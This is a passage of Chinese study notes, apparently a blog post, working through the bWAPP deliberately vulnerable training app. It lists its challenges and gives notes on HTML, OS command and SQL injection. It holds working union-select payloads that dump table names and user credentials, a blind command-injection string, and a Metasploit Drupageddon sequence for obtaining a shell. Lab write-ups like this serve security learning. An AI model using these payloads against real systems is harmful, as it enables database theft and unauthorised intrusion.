bwapp
- / A1 - Injection /HTML Injection - Reflected (GET)
- HTML Injection - Reflected (POST)
- HTML Injection - Reflected (Current URL)
- HTML Injection - Stored (Blog)
- iFrame Injection
- LDAP Injection (Search)【待开化】
- Mail Header Injection (SMTP)【待开化】
- OS Command Injection
- OS Command Injection - Blind
- PHP Code Injection
- SQL Injection (GET/Select)
- SQL Injection (POST/Search)
- SQL Injection (POST/Select)
- SQL Injection (AJAX/JSON/jQuery)
- SQL Injection (CAPTCHA)
- SQL Injection (Login Form/Hero)
- SQL Injection (Login Form/User)
- SQL Injection (SQLite)
- SQL Injection (Drupal)
- SQL Injection - Stored (Blog)
- SQL Injection - Stored (SQLite)
- SQL Injection - Stored (User-Agent)
- SQL Injection - Stored (XML)
- SQL Injection - Blind - Boolean-Based
- SQL Injection - Blind - Time-Based
- SQL Injection - Blind (SQLite)
- SQL Injection - Blind (Web Services/SOAP)
- XML/XPath Injection (Login Form)
- XML/XPath Injection (Search)
- / A2 - Broken Auth. & Session Mgmt. /
- Broken Authentication - CAPTCHA Bypassing
- Broken Authentication - Forgotten Function
- Broken Authentication - Insecure Login Forms
- Broken Authentication - Logout Management
- Broken Authentication - Password Attacks
- Broken Authentication - Weak Passwords
- Session Management - Administrative Portals
- Session Management - Cookies (HTTPOnly)
- Session Management - Cookies (Secure)
- Session Management - Session ID in URL
- Session Management - Strong Sessions
- / A3 - Cross-Site Scripting (XSS)
- /Cross-Site Scripting - Reflected (GET)
- Cross-Site Scripting - Reflected (POST)
- Cross-Site Scripting - Reflected (JSON)
- Cross-Site Scripting - Reflected (AJAX/JSON)
- Cross-Site Scripting - Reflected (AJAX/XML)
- Cross-Site Scripting - Reflected (Back Button)
- Cross-Site Scripting - Reflected (Custom Header)
- Cross-Site Scripting - Reflected (Eval)
- Cross-Site Scripting - Reflected (HREF)
- Cross-Site Scripting - Reflected (Login Form)
- Cross-Site Scripting - Reflected (phpMyAdmin)
- Cross-Site Scripting - Reflected (PHP_SELF)
- Cross-Site Scripting - Reflected (Referer)
- Cross-Site Scripting - Reflected (User-Agent)
- Cross-Site Scripting - Stored (Blog)
- Cross-Site Scripting - Stored (Change Secret)
- Cross-Site Scripting - Stored (Cookies)
- Cross-Site Scripting - Stored (SQLiteManager)
- Cross-Site Scripting - Stored (User-Agent)
- / A4 - Insecure Direct Object References /(不安全的对象直接引用)
- Insecure DOR (Change Secret)
- Insecure DOR (Reset Secret)
- Insecure DOR (Order Tickets)
- / A5 - Security Misconfiguration /(安全配置错误)
- Arbitrary File Access (Samba)
- Cross-Domain Policy File (Flash)
- Cross-Origin Resource Sharing (AJAX)
- Cross-Site Tracing (XST)跨站跟踪攻击
- Denial-of-Service (Large Chunk Size)
- Denial-of-Service (Slow HTTP DoS)
- Denial-of-Service (SSL-Exhaustion)
- Denial-of-Service (XML Bomb)
- Insecure FTP Configuration
- Insecure SNMP Configuration
- Insecure WebDAV Configuration
- Local Privilege Escalation (sendpage)
- Local Privilege Escalation (udev)
- Man-in-the-Middle Attack (HTTP)
- Man-in-the-Middle Attack (SMTP)
- Old/Backup & Unreferenced Files
- Robots File
- / A6 - Sensitive Data Exposure /
- Base64 Encoding (Secret)
- BEAST/CRIME/BREACH Attacks
- Clear Text HTTP (Credentials)
- Heartbleed Vulnerability
- Host Header Attack (Reset HTMLrage (Secret)
- POODLE Vulnerability
- SSL 2.0 Deprecated Protocol
- HTML5 Web Storage (Secret)
- Text Files (Accounts)
- / A7 - Missing Functional Level Access Control /
- Directory Traversal - Directories
- Directory Traversal - Files
- Host Header Attack (Cache Poisoning)
- Host Header Attack (Reset Poisoning)
- Local File Inclusion (SQLiteManager)
- Remote & Local File Inclusion (RFI/LFI)
- Restrict Device Access
- Restrict Folder Access
- Server Side Request Forgery (SSRF)
- XML External Entity Attacks (XXE)
- / A8 - Cross-Site Request Forgery (CSRF) /
- Cross-Site Request Forgery (Change Password)
- Cross-Site Request Forgery (Change Secret)
- Cross-Site Request Forgery (Transfer Amount)
- / A9 - Using Known Vulnerable Components /
- Buffer Overflow (Local)
- Buffer Overflow (Remote)
- Drupal SQL Injection (Drupageddon)
- Heartbleed Vulnerability
- PHP CGI Remote Code Execution
- PHP Eval Function
- phpMyAdmin BBCode Tag XSS
- Shellshock Vulnerability (CGI)
- SQLiteManager Local File Inclusion
- SQLiteManager PHP Code Injection
- SQLiteManager XSS
- / A10 - Unvalidated Redirects & Forwards /
- Unvalidated Redirects & Forwards (1)
- Unvalidated Redirects & Forwards (2)
- / Other bugs... /ClickJacking (Movie Tickets)
- Client-Side Validation (Password)
- HTTP Parameter Pollution
- HTTP Response Splitting
- HTTP Verb Tampering
- Information Disclosure - Favicon
- Information Disclosure - Headers
- Information Disclosure - PHP version
- Information Disclosure - Robots File
- Insecure iFrame (Login Form)
- Unrestricted File Upload
- --------------------------- Extras --------------------------
- A.l.M.- No-authentication Mode
- Client Access Policy File
- Cross-Domain Policy File
- Evil 666 Fuzzing Page
- Manual Intervention Required!
- Unprotected Admin Portal
- We Steal Secrets... (html)
- We Steal Secrets... (plain)
- WSDL File (Web Services/SOAP)
---------------------- bWAPP v2.2 -----------------------
/ A1 - Injection /HTML Injection - Reflected (GET)

HTML Injection - Reflected (POST)
换成post
随便搞了,随便写,html随便插
HTML Injection - Reflected (Current URL)
只有在IE浏览器中实现,Chrome和Firefox中HTML参数均为解析出来。

在连接后面随便增添值
HTML Injection - Stored (Blog)

iFrame Injection
iframe是可用于在HTML页面中嵌入一些文件(如文档,视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”。
通过利用iframe标签对网站页面进行注入,是利用了HTML标签,实际上就是一个阅读器,可以阅读通过协议加载的活服务器本地的文件、视频等。

我们这里发现,他包含了一个robots.txt的文件,我们试试其他喽

LDAP Injection (Search)【待开化】
Mail Header Injection (SMTP)【待开化】
OS Command Injection

其余的绕过见之前的
这样就可以了
OS Command Injection - Blind
盲注我们可以进行延时或者直接字符型,

或者||whoami `sleep 5 `
PHP Code Injection

直接命令执行即可
Server-Side Includes (SSI) Injection【待开化】
SQL Injection (GET/Search)

我们在输入‘ 后发现报错,然后我们进行orderby,

到8报错

确定回显位置

查询数据库,其余和正常查询一致
SQL Injection (GET/Select)

数字型的,直接注入即可,同上
SQL Injection (POST/Search)

我们尝试I‘发现报错

那么我们想办法闭合他,
I%’ #
这样我们就能闭合并查询出东西

当然,如果有报错,我们还可以使用报错注入
SQL Injection (POST/Select)
同上,只不过变成了select的,post抓包修改一样的
SQL Injection (AJAX/JSON/jQuery)
ajax他是一个异步通讯,能够在网页不刷新的情况下,刷新网页内部的东西
而它的返回值一般是json/xml格式的,jQuery中提供实现ajax的方法

从sqli_10-2获取了json,

10-2这里可以存在注入
因为是异步的嘛,所以我们在他的前台输入即可,7可以,8直接查询不到




-a%' union select 1,database(),(group_concat(table_name)),4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

SQL Injection (CAPTCHA)
(无法使用,不知道是我的问题还是。。)
SQL Injection (Login Form/Hero)

我们输入4,仍然可以注入
我们输入5

说明只有四列

找到回显

这里有报错的话,我们直接报错注入

SQL Injection (Login Form/User)

我们发现有报错,,但是没有找到任何可以回显的地方
发现无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。
因此无法使用order by 判断字段数 (判断注入点是为了用order by来得到字段数)
但是可以直接通过联合查询得到字段数:

但是又无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。
我们去数据库查询看看

我们发现,他的第三位是md5加密的

由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等
比如, 注入的联合查询为:
用户名: ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密码 : 3

SQL Injection (SQLite)
首先需要安装SQLite插件:
apt-get install sqlite3
apt-get install php5-sqlite
然后重启一下apache:
service apache2 restart
注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:

根据查询功能, 很明显为模糊匹配:

于是得出sql语句为:
select * from books where title='%$title%';
判断注入点
Iron%' and 1=1 --
注意在SQLite中, 注释符为: --

判断字段数
Iron%' order by 6 --
判断字段显示顺序
123%' union select 1,2,3,4,5,6 --

爆所有表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --

users表的字段
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
通过sql可以查看建表语句, 从而得到字段属性:

取值
123%' union select 1,2,login,password,5,6 from users --

因为环境问题,转自
https://blog.csdn.net/angry_program/article/details/104545171#0x07%E3%80%81SQL%20Injection%20%28Login%20Form%2FUser%29
SQLite 介绍
SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。
type列记录了项目的类型,如table、index、view、trigger
tbl_name字段记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身;
name字段记录了项目的名称,如表名、索引名等;
rootpage记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
sql存放着所有表的创建语句,即表的结构。
SQL Injection (Drupal)

只有bee-box可以使用,所以 我们只演示,并无结果
search drupal

使用CVE-2014-3704对应的攻击模块:
use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:
set targeturi /drupal/
所定攻击的ip和端口:
set RHOSTS 192.168.10.10
set rport 8080
发动攻击, 拿到shell:
exploit
前情提要
CVE-2014-3704:
由于expandArguments()函数没有正确构造准备好的语句,这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。
Drupal是一款开源内容管理系统(CMS),用户多达100万以上(包括政府、电子零售、企业组织、金融机构等),除非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则,所有用户都会面临该漏洞的严重威胁。
SQL Injection - Stored (Blog)

我们先看看报错,
然后我们闭合他
insert into blog(date,entry,owner) values(now(), '$entry', 'bee');
注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:

SQL Injection - Stored (SQLite)
(暂时无法使用,但是和上一关类似,只不过语法变成了sqlite的)
SQL Injection - Stored (User-Agent)

我们在UA处注入,发现了报错,
那么我们紧接着闭合,

我们需要闭合他的内部函数,回显在ip这里
INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');
SQL Injection - Stored (XML)

点击会发送一次信息



我们发现这里会改写文字
得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:
UPDATE users SET secret = '$secret' WH

&spm=1001.2101.3001.5002&articleId=108896596&d=1&t=3&u=a5fdb6def1e64b45a6a0edabf5c1e304)
7120

被折叠的 条评论
为什么被折叠?



